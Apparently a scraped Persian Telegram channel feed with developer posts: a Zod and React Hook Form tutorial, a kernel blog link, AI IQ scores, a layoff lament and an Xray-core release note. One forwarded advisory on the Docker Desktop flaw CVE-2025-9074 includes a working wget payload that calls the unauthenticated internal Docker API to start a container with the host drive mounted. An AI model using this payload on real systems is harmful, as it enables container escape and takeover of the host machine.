📚معرفی Zod
یه کتابخونه فوقالعاده برای اعتبارسنجی (Validation) دادههاست که باهاش میتونید قوانین دقیق و تایپسیف تعریف کنید.
📦 نصب Zod
💠 نمونه کد
💠 استفاده از Zod با React Hook Form
ابتدا بستههای زیر را نصب کنید:
🔗 https://zod.dev
#Zod #Validation #FrontEnd #React
@SoniaNotes
یه کتابخونه فوقالعاده برای اعتبارسنجی (Validation) دادههاست که باهاش میتونید قوانین دقیق و تایپسیف تعریف کنید.
📦 نصب Zod
npm install zod
# yarn add zod
# pnpm install zod
💠 نمونه کد
import { z } from "zod";
const userSchema = z.object({
username: z.string().min(3, "Username must be minimum 3 characters"),
age: z.number().int().positive("Age must be positive"),
email: z.string().email("Email is invalid."),
password: z.string().min(6).refine(val => /[A-Z]/.test(val), {
message: "Password must be at least 6 characters and contain both uppercase and lowercase letters.",
}),
});
try {
userSchema.parse({
username: "ali",
age: 25,
email: "[email protected]",
password: "Secret1",
});
console.log("Validation successful.");
} catch (e) {
console.log(e.errors);
}
💠 استفاده از Zod با React Hook Form
ابتدا بستههای زیر را نصب کنید:
npm install react-hook-form @hookform/resolver
# yarn add react-hook-form @hookform/resolver
# pnpm install react-hook-form @hookform/resolver
import { useForm } from "react-hook-form";
import { zodResolver } from "@hookform/resolvers/zod";
import { z } from "zod";
const schema = z.object({
email: z.string().email(),
password: z.string().min(6),
});
function MyForm() {
const { register, handleSubmit, formState: { errors } } = useForm({
resolver: zodResolver(schema),
});
const onSubmit = data => {
console.log(data);
};
return (
<form onSubmit={handleSubmit(onSubmit)}>
<input {...register("email")} placeholder="Email" />
{errors.email && <p>{errors.email.message}</p>}
<input type="password" {...register("password")} placeholder="Password" />
{errors.password && <p>{errors.password.message}</p>}
<button type="submit">Login</button>
</form>
);
}
🔗 https://zod.dev
#Zod #Validation #FrontEnd #React
@SoniaNotes
❤9🤣3👍1
My Linux Kernel Development Journey: From First Patch to Race Condition Hell By Iman Seyed
https://imanseyed.github.io/posts/lf-journey
#linux #linux_dev #kernel
https://imanseyed.github.io/posts/lf-journey
#linux #linux_dev #kernel
Code Sorcery
My Linux Kernel Development Journey: From First Patch to Race Condition Hell
Over the course of several months in early 2025, I contributed multiple patches to the Linux kernel mainline, focusing primarily on concurrency issues, string safety improvements, and hardware-specific driver fixes. This work involved identifying and resolving…
❤🔥6🤣4
Sonia Software Notes
AI IQ Test Results / Last Updated: 08:47PM EDT on August 03, 2025 نکته جالبی که توی سایت دیدم این بود که Gemini 2.5 Pro امتیاز 131 رو گرفته, هر چند که گفتن این مدل برای Math , Coding خیلی مناسبه ولی من تابحال نتونستم باهاش یه مسئله خیلی پیچیده رو حل کنم یا…
AI IQ Test Results / Last Updated: 07:56AM EDT on August 13, 2025
مدل GPT 5 Pro تونسته به آی کیو 148 برسه.
#ai #tracking #iq #mensa_norway
مدل GPT 5 Pro تونسته به آی کیو 148 برسه.
#ai #tracking #iq #mensa_norway
⚡10👎6👍2
Forwarded from RandRng
۱۲ روز جنگیدیم هنوز ترکشاش داره میاد.
مدیرعامل یکی از شرکتهایی که باهاش کار میکنم؛ زنگ زده یک توضیحات مفصل و نهایتاً؛ لطفاً برای آخر ماه اگر بازم اوضاع اینترنت درست نشد، ۱۵ تا از نیروها رو برای تعدیل لیست بده (از ۲۰ تا نیرو) که تا آخر شهریور خدافظی کنیم.
داشتم به این فکر میکردم چطوری اسم بدم ؟
سنیورها رو بدم ؟ چون راحت کار پیدا میکنند ولی بعد جونیور میمونه که کار خاصی نمیتونه بکنه!
جونیورها رو بدم ؟ سنیور دست خالی میمونه و وقتش تلف میشه، و بعد نا امیدی و بیحوصلگی باعث میشه بذاره بره!
هم جونیور بدم هم سنیور ؟ شرکت بعد از ۱۲ روز جنگ فقط درگیر سرورا بوده رفع مشکلات دسترسی و دپلوی (اکثراً مشتریهامونم خارجی هستند)
سنیورها، از توسعه ندادن ناامید میشوند و این ناامیدی بین جونیورها هم پخش میشه و دیگه انرژی نمیمونه (بخصوص بعد تعدیل)
واقعاً نمیدونم چیکار کنم ؟
انقدر بابت مشکلات اینترنت زنگ زدیم که طرف رسماً گفت تهران و دیتاستنترها اختلال عمدی هست؛ لطفاً صبور باشید!
به مدیر عامل میگم؛ آقا استارلینک بذار نهایت ۱ ماه حقوق رو میخوای بدی دیگه!
میترسه!
توی لیست فعلا؛ اسم خودم رو نوشتم.
شاید با بچهها صحبت کنم؛ دو شغلیها و اونایی که توانایی پیدا کردن کار تو همین مدت کم دارند رو بنویسم.
مدیرعامل یکی از شرکتهایی که باهاش کار میکنم؛ زنگ زده یک توضیحات مفصل و نهایتاً؛ لطفاً برای آخر ماه اگر بازم اوضاع اینترنت درست نشد، ۱۵ تا از نیروها رو برای تعدیل لیست بده (از ۲۰ تا نیرو) که تا آخر شهریور خدافظی کنیم.
داشتم به این فکر میکردم چطوری اسم بدم ؟
سنیورها رو بدم ؟ چون راحت کار پیدا میکنند ولی بعد جونیور میمونه که کار خاصی نمیتونه بکنه!
جونیورها رو بدم ؟ سنیور دست خالی میمونه و وقتش تلف میشه، و بعد نا امیدی و بیحوصلگی باعث میشه بذاره بره!
هم جونیور بدم هم سنیور ؟ شرکت بعد از ۱۲ روز جنگ فقط درگیر سرورا بوده رفع مشکلات دسترسی و دپلوی (اکثراً مشتریهامونم خارجی هستند)
سنیورها، از توسعه ندادن ناامید میشوند و این ناامیدی بین جونیورها هم پخش میشه و دیگه انرژی نمیمونه (بخصوص بعد تعدیل)
واقعاً نمیدونم چیکار کنم ؟
انقدر بابت مشکلات اینترنت زنگ زدیم که طرف رسماً گفت تهران و دیتاستنترها اختلال عمدی هست؛ لطفاً صبور باشید!
به مدیر عامل میگم؛ آقا استارلینک بذار نهایت ۱ ماه حقوق رو میخوای بدی دیگه!
میترسه!
توی لیست فعلا؛ اسم خودم رو نوشتم.
شاید با بچهها صحبت کنم؛ دو شغلیها و اونایی که توانایی پیدا کردن کار تو همین مدت کم دارند رو بنویسم.
💔51
Forwarded from localhost (Yousef Taheri)
Toyota CHR ❌
Mikrotik CHR ✅
Mikrotik CHR ✅
Forwarded from Decrypt
AI Now Matches Prediction Markets in Forecasting Real Events, Study Finds
University of Chicago’s Prophet Arena pits AI models against live prediction markets. Early results suggest machines can match, and sometimes beat, the wisdom of crowds.
University of Chicago’s Prophet Arena pits AI models against live prediction markets. Early results suggest machines can match, and sometimes beat, the wisdom of crowds.
❤3
Forwarded from Xero Notes
🐋 آسیبپذیری CVE-2025-9074 در Docker Desktop
اخیرا از آسیبپذیری جدیدی در Docker Desktop با شناسه CVE-2025-9074 کشف شده است که به مهاجمین این امکان را میدهد تا از داخل کانتینرها به سیستم میزبان دسترسی پیدا کنند. این آسیبپذیری به دلیل دسترسی بدون احراز هویت به API داخلی Docker بوده و به راحتی میتوان با استفاده از یک درخواست HTTP ساده، دسترسی کامل به سیستم میزبان پیدا کرد.
💥 این آسیبپذیری چطور به وجود آمده است؟
در Docker Desktop نسخههای قبل از ۴.۴۴.۳، هر کانتینری میتوانست به API Docker با آدرس h
💠 نمونه کد برای آزمایش آسیبپذیری
ابتدا یک کانتینر Alpine بسازید.
سپس با استفاده از پیلود زیر، آسیبپذیری را تست کنید.
این پیلود با ارسال یک درخواست HTTP به آدرس زیر،
یک کانتینر جدید با دستور
📊 امتیاز CVSS
این آسیبپذیری دارای امتیاز CVSS 9.3 (بحرانی) است و در وکتور CVSS زیر قرار میگیرد:
✅ راهحل
این آسیب پذیری در نسخه Docker Desktop ۴.۴۴.۳ برطرف شده است.
🔗 https://nvd.nist.gov/vuln/detail/CVE-2025-9074
#DockerSecurity #CVE #DockerDesktop
@Xero_Notes
اخیرا از آسیبپذیری جدیدی در Docker Desktop با شناسه CVE-2025-9074 کشف شده است که به مهاجمین این امکان را میدهد تا از داخل کانتینرها به سیستم میزبان دسترسی پیدا کنند. این آسیبپذیری به دلیل دسترسی بدون احراز هویت به API داخلی Docker بوده و به راحتی میتوان با استفاده از یک درخواست HTTP ساده، دسترسی کامل به سیستم میزبان پیدا کرد.
💥 این آسیبپذیری چطور به وجود آمده است؟
در Docker Desktop نسخههای قبل از ۴.۴۴.۳، هر کانتینری میتوانست به API Docker با آدرس h
ttp://192.168.65.7:2375
دسترسی داشته باشد بدون اینکه نیاز به احراز هویت برای استفاده از آن داشته باشد.. با استفاده از این دسترسی، مهاجم میتواند یک کانتینر جدید با دسترسیهای ویژه راهاندازی کرده و در نهایت به فولدر C: در سیستم میزبان دسترسی پیدا کند. لازم به ذکر است که این آسیب پذیری در نسخه مک نیز قابل استفاده است و امکان دسترسی روت را برای مهاجم فراهم میکند.💠 نمونه کد برای آزمایش آسیبپذیری
ابتدا یک کانتینر Alpine بسازید.
docker run -it alpine /bin/sh
سپس با استفاده از پیلود زیر، آسیبپذیری را تست کنید.
wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /mnt/host_root/pwn.txt"],"HostConfig":{"Binds":["//c/host_root:/mnt/host_root"]}}' \
-O - https://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - https://192.168.65.7:2375/containers/$cid/start
این پیلود با ارسال یک درخواست HTTP به آدرس زیر،
192.168.65.7:2375/containers/create
یک کانتینر جدید با دستور
echo pwned > /mnt/host_root/pwn.txt
میسازد و با استفاده از قابلیت Volume در Docker، مسیر C:/host_root
را به mnt/host_root/
در داخل کانتینر مپ میکند.📊 امتیاز CVSS
این آسیبپذیری دارای امتیاز CVSS 9.3 (بحرانی) است و در وکتور CVSS زیر قرار میگیرد:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
✅ راهحل
این آسیب پذیری در نسخه Docker Desktop ۴.۴۴.۳ برطرف شده است.
🔗 https://nvd.nist.gov/vuln/detail/CVE-2025-9074
#DockerSecurity #CVE #DockerDesktop
@Xero_Notes
👍9🤣2❤1
Forwarded from Project X Channel
Xray-core v25.9.10 正式版,支持 VLESS Reverse Proxy 极简配置
VLESS NFT 自成一个系列,每个图片都不同且只有一个,你可以选择自己喜欢的图片来收藏,先到先得
https://opensea.io/collection/vless 首发放出了二十个不同的 VLESS NFT 图片
本次还放出了两个稀缺的 Project X NFT,如果你有余力,请支持一下:https://opensea.io/assets/ethereum/0x5ee362866001613093361eb8569d59c4141b76d1/1
VLESS NFT 自成一个系列,每个图片都不同且只有一个,你可以选择自己喜欢的图片来收藏,先到先得
https://opensea.io/collection/vless 首发放出了二十个不同的 VLESS NFT 图片
本次还放出了两个稀缺的 Project X NFT,如果你有余力,请支持一下:https://opensea.io/assets/ethereum/0x5ee362866001613093361eb8569d59c4141b76d1/1
❤2
Project X Channel
Xray-core v25.9.10 正式版,支持 VLESS Reverse Proxy 极简配置 VLESS NFT 自成一个系列,每个图片都不同且只有一个,你可以选择自己喜欢的图片来收藏,先到先得 https://opensea.io/collection/vless 首发放出了二十个不同的 VLESS NFT 图片 本次还放出了两个稀缺的 Project X NFT,如果你有余力,请支持一下:https://opensea.io/assets/ethereum/0x5ee3628660016…
خیلی خلاصه
اومدن انکریپشن رو به vless اضافه کردن اسمشم کذاشتن Post quantum encryption
اومدن انکریپشن رو به vless اضافه کردن اسمشم کذاشتن Post quantum encryption
❤6